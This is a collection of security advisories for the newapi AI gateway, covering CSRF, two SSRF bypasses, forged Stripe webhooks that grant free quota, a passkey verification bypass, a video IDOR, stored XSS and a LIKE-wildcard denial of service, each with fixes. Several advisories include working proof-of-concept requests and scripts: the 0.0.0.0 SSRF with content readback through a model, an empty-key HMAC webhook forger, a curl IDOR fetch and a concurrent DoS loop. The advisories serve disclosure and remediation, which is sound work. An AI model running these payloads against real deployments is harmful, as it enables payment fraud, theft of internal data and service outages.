See how newapi compares to other vendors in security performance
Summary
The email and WeChat account binding endpoints used GET requests for state-changing account operations. In deployments where session cookies could be sent on cross-site navigations, an attacker could trigger a logged-in user's browser to bind an attacker-controlled email address or OAuth identity.
Affected endpoints included:
- GET /api/oauth/email/bind - GET /api/oauth/wechat/bind
Impact
A successful attack could change account binding state. For email binding, the attacker could bind an email address they control and then attempt follow-on account recovery flows. The default session cookie configuration uses SameSite=Strict, which mitigates common cross-site navigation attacks in modern browsers, so the issue is rated Medium.
Affected versions
Versions before v0.12.0-alpha.1 are affected.
Patches
This issue is fixed in v0.12.0-alpha.1. The fix changes email and WeChat binding routes from GET to POST and reads parameters from a JSON request body instead of query parameters. The same change set also normalizes password reset responses to avoid disclosing whether an email is registered.
Workarounds
If upgrading immediately is not possible, ensure session cookies are configured with strict SameSite behavior and block GET requests to /api/oauth/email/bind and /api/oauth/wechat/bind at the reverse proxy.
Resources
- Fixed by commit e099117c61391abdf888fb75e382a582e550bd0e. - Relevant code paths: router/api-router.go and controller/user.go.
Summary
The default SSRF protection configuration did not apply IP filtering to hostnames. With ApplyIPFilterForDomain disabled by default, URL validation checked domain allow/block rules but did not resolve a hostname and validate the resolved IP address. Authenticated users could configure notification URLs for Webhook, Bark, or Gotify notifications and point a hostname at an internal or metadata IP address.
Impact
A regular authenticated user could cause the server to send notification requests to internal HTTP services reachable from the deployment network. Depending on the target environment, this could expose sensitive internal data through timing, errors, or response-dependent behavior. The issue is rated High.
Affected versions
Versions before v0.12.0-alpha.1 are affected. The previous affected range of <= v0.11.4-alpha.4 was too narrow because the unsafe default remained present until the v0.12.0-alpha.1 fix.
Patches
This issue is fixed in v0.12.0-alpha.1. The default fetch setting now sets ApplyIPFilterForDomain: true, causing hostname destinations to be resolved and checked against the configured IP filtering rules during URL validation.
This patch addresses the unresolved-hostname bypass for the affected notification URL paths. It does not mark the separate DNS rebinding advisory as fixed, because connection-time IP enforcement is tracked separately.
Workarounds
If upgrading immediately is not possible, explicitly enable ApplyIPFilterForDomain, restrict notification URL domains with an allowlist, disable user-configurable notification URLs where practical, and enforce outbound network filtering at the host or network layer.
Resources
- Fixed by commit 20399d3c8fcb4e3649d53163eb11940fd6763743. - Relevant code paths: setting/systemsetting/fetchsetting.go, common/ssrfprotection.go, service/webhook.go, and service/usernotify.go.
SSRF Filter Bypass via 0.0.0.0
Summary
The SSRF protection introduced in v0.9.0.5 (CVE-2025-59146) and hardened in v0.9.6 (CVE-2025-62155) does not block the unspecified address 0.0.0.0. A regular (non-admin) user holding any valid API token can send a multimodal request to /v1/chat/completions, /v1/responses, or /v1/messages with 0.0.0.0 as the image/file URL host, bypassing the private-IP filter and causing the server to issue HTTP requests to localhost. This constitutes at minimum a blind SSRF; when the request is routed through an AWS/Bedrock Claude adaptor, the fetched content is inlined into the model response, upgrading it to a full-read SSRF.
Details
Root Cause
common/ssrfprotection.go — isPrivateIP() (lines 33–47) checks the following ranges:
- 10.0.0.0/8 - 172.16.0.0/12 - 192.168.0.0/16 - 127.0.0.0/8 - 169.254.0.0/16 - 224.0.0.0/4 - 240.0.0.0/4
0.0.0.0/8 is not checked. On Linux, 0.0.0.0 resolves to the local machine, same as 127.0.0.1.
Default Fetch Settings
setting/systemsetting/fetchsetting.go (lines 16–24) defaults:
- EnableSSRFProtection: true - AllowPrivateIp: false - AllowedPorts: ["80", "443", "8080", "8443"] - ApplyIPFilterForDomain: true
So 0.0.0.0 on any of these four ports passes all checks.
Data Flow (primary chain — /v1/chat/completions)
User API token → /v1/chat/completions (TokenAuth, no admin required) → messages[].content[].imageurl.url = "http://0.0.0.0:8080/..." → dto/openairequest.go:111-117 createFileSource() recognises http(s):// as URL source → dto/openairequest.go:119-198 GetTokenCountMeta() collects imageurl.url / file.filedata / videourl → service/tokencounter.go:237-264 LoadFileSource() fetches URL when shouldFetchFiles == true → service/fileservice.go:135-143 loadFromURL() → DoDownloadRequest() → service/download.go:52-68 ValidateURLWithFetchSetting() → 0.0.0.0 NOT blocked → GetHttpClient().Get() → Server issues real TCP connection to 0.0.0.0
Note on stream requirement: common/init.go (lines 140–141) defaults GETMEDIATOKEN=true but GETMEDIATOKENNOTSTREAM=false, so stream: true is needed to trigger the fetch path.
Additional Affected Endpoints
The same ValidateURLWithFetchSetting() → DoDownloadRequest() sink is reachable from:
| Endpoint | User-controlled field | Auth required | |---|---|---| | /v1/chat/completions | imageurl.url, file.filedata, videourl | Regular user token | | /v1/responses | inputfile.fileurl, inputimage.imageurl | Regular user token | | /v1/messages | source.url (type: "url") | Regular user token | | /api/user/setting | webhookurl, barkurl, gotifyurl | Regular user (self) |
Upgrade to Full-Read SSRF (conditional)
relay/channel/aws/adaptor.go (lines 41–61) — ConvertClaudeRequest():
- If the request is routed to an AWS/Bedrock Claude channel, the adaptor iterates over message content - When source.type == "url", it calls service.GetBase64Data() which invokes the same DoDownloadRequest() path - The fetched content is rewritten to type: "base64" and inlined into the model request - The model then describes/transcribes the content in its response
This means an attacker can read the actual content of internal resources (images, PDFs, text) through the model's output, not just detect open/closed ports.
Proof of Concept
Prerequisites: A regular user account with a valid API token. No admin privileges required.
Step 1 — Control group: 127.0.0.1 is blocked
http POST /v1/chat/completions HTTP/1.1 Host: <redacted> Authorization: Bearer sk-<user-token> Content-Type: application/json
{ "model": "gpt-4o-mini", "stream": true, "maxtokens": 1, "messages": [ { "role": "user", "content": [ {"type": "text", "text": "describe"}, { "type": "imageurl", "imageurl": { "url": "http://127.0.0.1:8080/probe.png", "detail": "low" } } ] } ] }
Response:
private IP address not allowed: 127.0.0.1
Step 2 — Experiment group: 0.0.0.0 bypasses the filter
http POST /v1/chat/completions HTTP/1.1 Host: <redacted> Authorization: Bearer sk-<user-token> Content-Type: application/json
{ "model": "gpt-4o-mini", "stream": true, "maxtokens": 1, "messages": [ { "role": "user", "content": [ {"type": "text", "text": "describe"}, { "type": "imageurl", "imageurl": { "url": "http://0.0.0.0:8080/probe.png", "detail": "low" } } ] } ] }
Response:
dial tcp 0.0.0.0:8080: connect: connection refused
The server attempted a real TCP connection — the SSRF filter was bypassed.
Step 3 — Confirm readback capability via multimodal model
http POST /v1/chat/completions HTTP/1.1 Host: <redacted> Authorization: Bearer sk-<user-token> Content-Type: application/json
{ "model": "claude-3-5-sonnet-latest", "stream": false, "maxtokens": 32, "messages": [ { "role": "user", "content": [ { "type": "text", "text": "Transcribe exactly the text in the image. Output only the text." }, { "type": "imageurl", "imageurl": { "url": "https://dummyimage.com/600x180/111/fff.png&text=READBACK-OK-314159", "detail": "low" } } ] } ] }
Response:
json {"choices":[{"message":{"content":"READBACK-OK-314159"}}]}
This confirms that when the fetch target returns readable content (image/PDF/text), the model's response leaks that content to the attacker. Combining Step 2 and Step 3: if an internal service on 0.0.0.0:<allowed-port> returns image or document content, an attacker can exfiltrate it.
Impact
An authenticated regular user (no admin privileges) can:
1. Probe localhost and internal services — Determine open/closed ports on the server by observing connection refused vs timeout vs HTTP-level errors. Default allowed ports are 80, 443, 8080, and 8443. 2. Exfiltrate internal content — When the request routes through a multimodal model (especially AWS/Bedrock Claude), the server fetches the resource and the model returns its content (OCR for images, summarization for PDFs/text). 3. Bypass all previous SSRF mitigations — This is a direct bypass of the isPrivateIP() check. No redirect chain, no DNS rebinding, no race condition required — just replacing 127.0.0.1 with 0.0.0.0.
Since user registration is often enabled by default, any registered user can exploit this.
Suggested Fix
1. Add 0.0.0.0/8 to the deny list in isPrivateIP() (common/ssrfprotection.go) 2. Audit against the full [IANA IPv4 Special-Purpose Address Registry](https://www.iana.org/assignments/iana-ipv4-special-registry/) — also ensure coverage for: - 0.0.0.0/8 ("This network") - 100.64.0.0/10 (Carrier-grade NAT) - 198.18.0.0/15 (Benchmarking) - IPv6 equivalents: ::1, ::, [::], fe80::/10 3. Apply the same IP validation to post-redirect targets (already partially addressed in service/httpclient.go:24-33, but does not help when the initial address itself bypasses the filter)
Resources
- CVE-2025-59146 (GHSA-xxv6-m6fx-vfhh): Original authenticated SSRF, patched in v0.9.0.5 - CVE-2025-62155 (GHSA-9f46-w24h-69w4): 302 redirect bypass of the SSRF fix, patched in v0.9.6
Summary
A critical vulnerability exists in the Stripe webhook handler that allows an unauthenticated attacker to forge webhook events and credit arbitrary quota to their account without making any payment. The vulnerability stems from three compounding flaws:
1. The Stripe webhook endpoint does not reject requests when StripeWebhookSecret is empty (the default). 2. When the HMAC secret is empty, any attacker can compute valid webhook signatures, effectively bypassing signature verification entirely. 3. The Recharge function does not validate that the order's PaymentMethod matches the callback source, enabling cross-gateway exploitation — an order created via any payment method (e.g., Epay) can be fulfilled through a forged Stripe webhook.
Affected Components
- controller/topupstripe.go — StripeWebhook(), sessionCompleted() - model/topup.go — Recharge(), RechargeCreem(), RechargeWaffo() - controller/topup.go — EpayNotify() - controller/topupcreem.go — CreemAdaptor.RequestPay() (missing PaymentMethod field) - router/api-router.go — webhook route registered without any guard
CWE Classification
- CWE-345: Insufficient Verification of Data Authenticity - CWE-1188: Initialization with an Insecure Default (empty webhook secret) - CWE-863: Incorrect Authorization (cross-gateway order fulfillment)
Vulnerability Details
Flaw 1: Empty Webhook Secret Bypasses Signature Verification
The StripeWebhookSecret setting defaults to an empty string "". The Stripe Go SDK (webhook.ConstructEventWithOptions) does not reject empty secrets — it computes HMAC-SHA256 with an empty key, producing a deterministic and publicly computable signature.
Vulnerable code (controller/topupstripe.go): go func StripeWebhook(c gin.Context) { // No check for empty StripeWebhookSecret payload, := io.ReadAll(c.Request.Body) signature := c.GetHeader("Stripe-Signature") endpointSecret := setting.StripeWebhookSecret // defaults to "" event, err := webhook.ConstructEventWithOptions(payload, signature, endpointSecret, ...) // When secret is "", attacker can compute valid HMAC with the same empty key }
The webhook route is unconditionally registered with no authentication middleware and no rate limiting: go apiRouter.POST("/stripe/webhook", controller.StripeWebhook)
Flaw 2: Missing paymentstatus Verification
The sessionCompleted handler only checks status == "complete" but does not verify paymentstatus == "paid". Stripe's checkout.session.completed event can fire with paymentstatus = "unpaid" for delayed payment methods (bank transfer, SEPA, Boleto, etc.) or paymentstatus = "nopaymentrequired" for 100% discount coupons.
Additionally, checkout.session.asyncpaymentsucceeded and checkout.session.asyncpaymentfailed events are not handled, so delayed payments that ultimately fail are never rolled back.
Flaw 3: Cross-Gateway Order Fulfillment (No PaymentMethod Validation)
The model.Recharge() function (called by the Stripe webhook) looks up orders solely by tradeno and does not validate that the order's PaymentMethod is "stripe":
go func Recharge(referenceId string, customerId string) (err error) { // Finds ANY pending order by tradeno, regardless of PaymentMethod tx.Where("tradeno = ?", referenceId).First(topUp) if topUp.Status != "pending" { return } // Credits quota without checking topUp.PaymentMethod quota = topUp.Money QuotaPerUnit tx.Model(&User{}).Update("quota", gorm.Expr("quota + ?", quota)) }
This allows an attacker to create orders through any configured payment gateway (Epay, Creem, Waffo) and then complete them via a forged Stripe webhook — even if Stripe itself was never configured.
Attack Scenario
Prerequisites: Any payment method is configured (e.g., Epay) + StripeWebhookSecret is empty (default).
1. Attacker registers a user account. 2. Attacker calls POST /api/user/pay to create an Epay top-up order (e.g., amount=10000). The order is stored with status=pending. 3. Attacker queries GET /api/user/topup/self to retrieve the tradeno of the pending order. 4. Attacker computes HMAC-SHA256 with an empty key over a crafted checkout.session.completed payload containing the stolen tradeno as clientreferenceid. 5. Attacker sends POST /api/stripe/webhook with the forged payload and signature header. 6. The server verifies the signature (passes because the secret is empty), calls Recharge(), which finds the Epay order by tradeno, marks it as success, and credits the full quota. 7. Attacker repeats steps 2–6 indefinitely for unlimited credits.
Proof of concept (pseudocode): python import hmac, hashlib, time, json, requests
timestamp = int(time.time()) payload = json.dumps({ "type": "checkout.session.completed", "data": { "object": { "clientreferenceid": "<tradeno from step 3>", "status": "complete", "paymentstatus": "paid", "customer": "cusfake", "amounttotal": "0", "currency": "usd" } } }) Empty secret = publicly computable signature sig = hmac.new(b"", f"{timestamp}.{payload}".encode(), hashlib.sha256).hexdigest() header = f"t={timestamp},v1={sig}"
requests.post("https://target/api/stripe/webhook", data=payload, headers={"Stripe-Signature": header, "Content-Type": "application/json"})
Remediation
Fix 1: Reject webhooks when secret is empty go func StripeWebhook(c gin.Context) { if setting.StripeWebhookSecret == "" { c.AbortWithStatus(http.StatusForbidden) return } // ... existing logic }
Fix 2: Verify paymentstatus and handle async payment events go func sessionCompleted(event stripe.Event) { // ... existing status check ... paymentStatus := event.GetObjectValue("paymentstatus") if paymentStatus != "paid" { return // Wait for asyncpaymentsucceeded event } fulfillOrder(event, referenceId, customerId) }
Add handlers for checkout.session.asyncpaymentsucceeded and checkout.session.asyncpaymentfailed.
Fix 3: Validate PaymentMethod in all recharge functions go // In model.Recharge (Stripe): if topUp.PaymentMethod != "stripe" { return ErrPaymentMethodMismatch }
// In model.RechargeCreem: if topUp.PaymentMethod != "creem" { return ErrPaymentMethodMismatch }
// In model.RechargeWaffo: if topUp.PaymentMethod != "waffo" { return ErrPaymentMethodMismatch }
// In controller.EpayNotify: if topUp.PaymentMethod == "stripe" || topUp.PaymentMethod == "creem" || topUp.PaymentMethod == "waffo" { return // reject cross-gateway fulfillment }
Additional fix: Set PaymentMethod on Creem order creation The Creem order creation was missing the PaymentMethod field entirely: go topUp := &model.TopUp{ // ... PaymentMethod: "creem", // was missing }
Patched Versions
- v0.12.10 — includes all three fixes described above.
All users are strongly encouraged to upgrade immediately.
Workaround (for users unable to upgrade immediately)
If users cannot upgrade to v0.12.10 right away, apply all of the following mitigations:
1. Set StripeWebhookSecret to any non-empty value. Go to the admin panel → Payment → Stripe, and set the Webhook Signing Secret to any random string (e.g., whsecplaceholderdonotleaveempty). It does not need to be a real Stripe secret — any non-empty value will prevent the empty-key HMAC forgery. This is the single most important step — it closes the primary attack vector. If Stripe payments are used in production, replace with the real secret from the project's Stripe Dashboard → Webhooks to ensure legitimate webhooks continue to work.
2. If Stripe is not in use, block the webhook endpoint. If users have not configured Stripe payments, use a reverse proxy (Nginx, Caddy, etc.) to deny access to /api/stripe/webhook: nginx location = /api/stripe/webhook { return 403; }
Note: The workaround only mitigates Flaw 1 (empty secret bypass). Flaws 2 (missing paymentstatus check) and 3 (cross-gateway fulfillment) are only fully addressed in v0.12.10. Upgrading is the only complete fix.
Impact
- Financial fraud: Attacker obtains unlimited API quota without payment. - Operator financial loss: Fraudulent quota is consumed against upstream AI providers (OpenAI, Anthropic, Google, etc.), charged to the operator. - Silent exploitation: Fraudulent top-ups appear as normal successful transactions in system logs, making detection difficult. - Wide exposure: The default insecure configuration means virtually all deployments with any payment method enabled are vulnerable.
Timeline
- 2025-04-15: Vulnerability reported by @ChangeYu0229 - 2025-04-15: Vulnerability confirmed and root cause analysis completed - 2025-04-15: Fix developed and applied - 2025-04-15: Patched in v0.12.10
Resources
- Stripe Webhook Signature Verification Docs - Stripe Checkout Fulfillment Guide — Handle async payment methods - CWE-345: Insufficient Verification of Data Authenticity - CWE-1188: Initialization with an Insecure Default
Summary
A logic flaw in the universal secure verification flow allows an authenticated user with a registered passkey to satisfy secure verification without completing a WebAuthn assertion.
Affected versions
= v0.10.0
Description
The POST /api/verify endpoint supports multiple secure verification methods, including passkeys. When the request body contains {"method":"passkey"}, the server only checks whether the authenticated account has a passkey record on file and then marks the secure verification session as complete. It does not verify that the requester successfully completed a WebAuthn assertion.
As a result, an authenticated user who already has a valid session and a registered passkey can satisfy the secure verification requirement without performing the intended passkey challenge/response flow.
Impact
In the upstream project, this issue affects actions protected by SecureVerificationRequired(). At the time of publication, the confirmed upstream impact is the root-only POST /api/channel/:id/key endpoint, which returns stored channel secrets.
Successful exploitation requires: - an already authenticated session for the target account, and - a registered passkey on that account.
No full login bypass or cross-account privilege escalation has been confirmed in the upstream codebase. However, the issue defeats the intended step-up verification control for affected privileged actions.
Workarounds
Until a patched release is applied: - do not rely on passkey as the step-up method for privileged secure-verification actions; - require TOTP/2FA for those actions where operationally possible; or - temporarily restrict access to affected secure-verification-protected endpoints.
Summary
The video proxy endpoint GET /v1/videos/:taskid/content is vulnerable to an Insecure Direct Object Reference (IDOR). Any authenticated user who knows another user's taskid can retrieve that user's generated video content because the handler queries tasks by taskid alone and does not verify ownership.
Affected Component
- Endpoint: GET /v1/videos/:taskid/content - Route middleware: TokenOrUserAuth() - Vulnerable handler: controller.VideoProxy
Details
VideoProxy fetches the task with:
go task, exists, err := model.GetByOnlyTaskId(taskID)
GetByOnlyTaskId performs a database lookup using only taskid:
go err = DB.Where("taskid = ?", taskId).First(&task).Error
The authenticated user's ID is available in request context, but VideoProxy does not use it. This allows any authenticated user to request /v1/videos/<foreigntaskid>/content and access another user's video if they know a valid task ID.
Other task-fetch paths already enforce ownership correctly via:
go model.GetByTaskId(userId, taskId)
Impact
An authenticated attacker who knows another user's taskid can:
- Download video content belonging to another user - Bypass tenant isolation for generated media assets - Cause the server to fetch upstream video content for a task the attacker does not own
For Gemini tasks, the proxy also uses task.PrivateData.Key when contacting the upstream provider. In addition, full upstream response headers are forwarded back to the requester.
Proof of Concept
bash curl -o stolenvideo.mp4 \ "https://<instance>/v1/videos/<victimtaskid>/content" \ -H "Authorization: Bearer sk-<attackertoken>"
Expected result:
- Response returns 200 OK - Response body contains the victim's video content
Recommended Fix
Replace the task lookup in VideoProxy with an ownership-checked query:
go userId := c.GetInt("id") task, exists, err := model.GetByTaskId(userId, taskID)
Summary
A potential unsafe operation occurs in component MarkdownRenderer.jsx, allowing for Cross-Site Scripting(XSS) when the model outputs items containing <script> tag.
Details
Line 212-231 of MarkdownRenderer.jsx is unsafe, it use dangerouslySetInnerHTML to preview html the model generates. This can trigger malcious scripts.
PoC
A simple way to exploit that is to ask the model in the playground, with prompt: "请帮我写个脚本,跳转到google", and then the browser will navigate to the google.com without user interference.
Impact
Potential malcious activity to the user using playground, if the model api is altered to output unintended codes.
Also, users may not be easily rid the exploit, since the record of the chat containing XSS script is stored, once opening the page later, the script will be re-triggered.
Potential Workaround
The preview may be placed in an iframe sandbox, dangerous html strings should be purified before rendering.
---
The reply generated for test is as below:
这是一个为您编写的单页 HTML 文件。它使用了两种方式来实现跳转,以确保在任何情况下都能工作:
1. JavaScript (window.location.replace):这是最常用且高效的方法,它会立即跳转,并且不会保留当前页面在浏览器历史记录中(这样用户按“后退”键不会回到这个跳转页)。 2. HTML Meta Refresh:作为后备方案。如果用户的浏览器禁用了 JavaScript,这个标签会在 1 秒后将用户带往 Google。 3. 手动链接:页面中显示了一个备用链接,以防自动跳转被拦截或失效。
您可以直接保存以下代码为 .html 文件并在浏览器中打开。
html <!DOCTYPE html> <html lang="zh-CN"> <head> <meta charset="UTF-8"> <meta name="viewport" content="width=device-width, initial-scale=1.0"> <title>正在跳转至 Google...</title> <!-- 方法1:HTML Meta Refresh (如果JS被禁用,1秒后自动跳转) --> <meta http-equiv="refresh" content="1;url=https://www.google.com">
<style> / 基础重置与布局 / body, html { height: 100%; margin: 0; font-family: -apple-system, BlinkMacSystemFont, "Segoe UI", Roboto, "Helvetica Neue", Arial, sans-serif; background-color: #f8f9fa; color: #202124; display: flex; justify-content: center; align-items: center; }
/ 卡片容器样式 / .redirect-card { background: white; padding: 2rem 3rem; border-radius: 12px; box-shadow: 0 4px 12px rgba(0, 0, 0, 0.1); text-align: center; max-width: 400px; width: 90%; }
/ 加载动画圆圈 / .spinner { border: 4px solid #f3f3f3; border-top: 4px solid #4285f4; / Google Blue / border-radius: 50%; width: 40px; height: 40px; animation: spin 1s linear infinite; margin: 0 auto 1.5rem auto; }
/ 文本排版 / h1 { font-size: 1.25rem; margin-bottom: 0.5rem; font-weight: 500; }
p { font-size: 0.95rem; color: #5f6368; margin-bottom: 1.5rem; line-height: 1.5; }
/ 手动链接样式 / .manual-link { display: inline-block; color: #1a73e8; / Google Link Blue / text-decoration: none; font-weight: 500; padding: 0.5rem 1rem; border: 1px solid #dadce0; border-radius: 4px; transition: background-color 0.2s; }
.manual-link:hover { background-color: #f1f3f4; text-decoration: underline; }
/ 动画定义 / @keyframes spin { 0% { transform: rotate(0deg); } 100% { transform: rotate(360deg); } } </style> </head> <body>
<main class="redirect-card"> <!-- 视觉反馈:加载动画 --> <div class="spinner"></div> <!-- 提示信息 --> <h1>正在为您跳转</h1> <p>我们正在将您引导至 Google。<br>如果页面没有自动刷新,请点击下方的按钮。</p> <!-- 手动跳转链接 --> <a href="https://www.google.com" class="manual-link">立即前往 Google</a> </main>
<script> // 方法2:JavaScript 跳转 (推荐) // 使用 replace() 而不是 href,这样用户点击“后退”时不会死循环回到这个跳转页 (function() { // 目标地址 var targetUrl = "https://www.google.com";
// 执行跳转 window.location.replace(targetUrl); // 控制台日志(用于调试) console.log("Redirecting to: " + targetUrl); })(); </script>
</body> </html>
Acknowledgments
QuantumNous would like to thank TechnologyStar for the early notification of this potential vulnerability via AI-assisted tools, and small-lovely-cat for providing additional context and an initial patch. The final fix was developed and verified by the maintainers to ensure full compatibility with the project's architecture.
Summary A SQL LIKE wildcard injection vulnerability in the /api/token/search endpoint allows authenticated users to cause Denial of Service through resource exhaustion by crafting malicious search patterns.
Details The token search endpoint accepts user-supplied keyword and token parameters that are directly concatenated into SQL LIKE clauses without escaping wildcard characters (%, ). This allows attackers to inject patterns that trigger expensive database queries.
Vulnerable Code File: model/token.go:70 go err = DB.Where("userid = ?", userId). Where("name LIKE ?", "%"+keyword+"%"). // No wildcard escaping Where(commonKeyCol+" LIKE ?", "%"+token+"%"). Find(&tokens).Error
PoC
After creating over 2 million tokens, creating millions token entries is not difficult, because the rate limiting only applies to IP addresses, so multiple IP addresses can share one session, allowing for the creation of an unlimited number of tokens in batches.
<img width="1636" height="659" alt="image" src="https://github.com/user-attachments/assets/55e63dcd-884d-41bc-9bea-4300ba1b50c6" />
These data are not all loaded at once under normal circumstances, as shown in the image, and are displayed correctly. But if a request like this is submitted:
bash A single request causes PostgreSQL to unconditionally retrieve all tokens belonging to that user. These requests buffer will all go into the buffer zone, causing an overflow and preventing the program from functioning properly. curl 'http://localhost:3000/api/token/search?keyword=%&token='
<img width="491" height="350" alt="image" src="https://github.com/user-attachments/assets/c31d9639-3550-4e93-8735-fba068f56124" />
It will cause DoS.
python import requests from concurrent.futures import ThreadPoolExecutor
def attack(sessioncookie): requests.get( 'http://localhost:3000/api/token/search', params={'keyword': '%%%%%%', 'token': ''}, cookies={'session': sessioncookie}, headers={'New-API-User': '1'} )
Launch 50 concurrent malicious requests with ThreadPoolExecutor(maxworkers=50) as executor: for in range(50): executor.submit(attack, '<validsession>')
Impact Availability
RAM Overflow
<img width="1078" height="145" alt="image" src="https://github.com/user-attachments/assets/c0bb5159-6943-42bd-a9f4-5c60c57fb149" />
Postgres unavailable
<img width="772" height="185" alt="image" src="https://github.com/user-attachments/assets/245e4f59-0ec5-4f9b-a839-3c9bb61be14b" />
- Database CPU usage spike to 100% - Application memory exhaustion - Legitimate user requests blocked or significantly delayed - Potential application crash or database connection pool exhaustion
Database Performance
Testing with 2,000,000 tokens:
| Pattern | Query Time | Rows | Impact | |---------|-----------|------|--------| | test (normal) | ~50ms | 0 | Low | | % (full scan) | 5,973ms | 2,000,000 | High | | %%%%%% | 6,200ms+ | 2,000,000 | Very High |
Attack Scalability
- Single attacker: Can launch 10-50 concurrent requests easily - Multiple accounts: Attacker can register multiple accounts (if registration enabled) - Proxy rotation: IP-based rate limiting can be bypassed - Persistence: Attack can be sustained indefinitely
Resource Consumption
Each malicious request with 2M results: - Database: ~6 seconds CPU time - Network: ~200MB data transfer - Application Memory: ~200MB+ for JSON serialization - Connection Time: Database connection held for entire query duration
Exploitation Scenario
1. Attacker registers or compromises a regular user account 2. Attacker crafts malicious LIKE patterns using % wildcards 3. Attacker launches concurrent requests (50-200 concurrent) 4. Database becomes overwhelmed with slow queries 5. Application memory exhausts from processing large result sets 6. Legitimate users experience service degradation or complete unavailability
## Patch Recommendations 1. Escape LIKE Wildcards (Critical) go func escapeLike(s string) string { s = strings.ReplaceAll(s, "\\", "\\\\") s = strings.ReplaceAll(s, "%", "\\%") s = strings.ReplaceAll(s, "", "\\") return s }
func SearchUserTokens(userId int, keyword string, token string) (tokens []Token, err error) { keyword = escapeLike(keyword) token = strings.Trim(token, "sk-") token = escapeLike(token)
err = DB.Where("userid = ?", userId). Where("name LIKE ? ESCAPE '\\\\'", "%"+keyword+"%"). Where(commonKeyCol+" LIKE ? ESCAPE '\\\\'", "%"+token+"%"). Limit(1000). Find(&tokens).Error return tokens, err }
2. Add User-Level Rate Limiting go tokenRoute.GET("/search", middleware.TokenSearchRateLimit(), // 30 req/min per user controller.SearchTokens)
3. Add Query Timeout go ctx, cancel := context.WithTimeout(context.Background(), 5time.Second) defer cancel() err = DB.WithContext(ctx).Where(...).Find(&tokens).Error
QuantumNous new-api v.0.8.5.2 is vulnerable to Cross Site Scripting (XSS).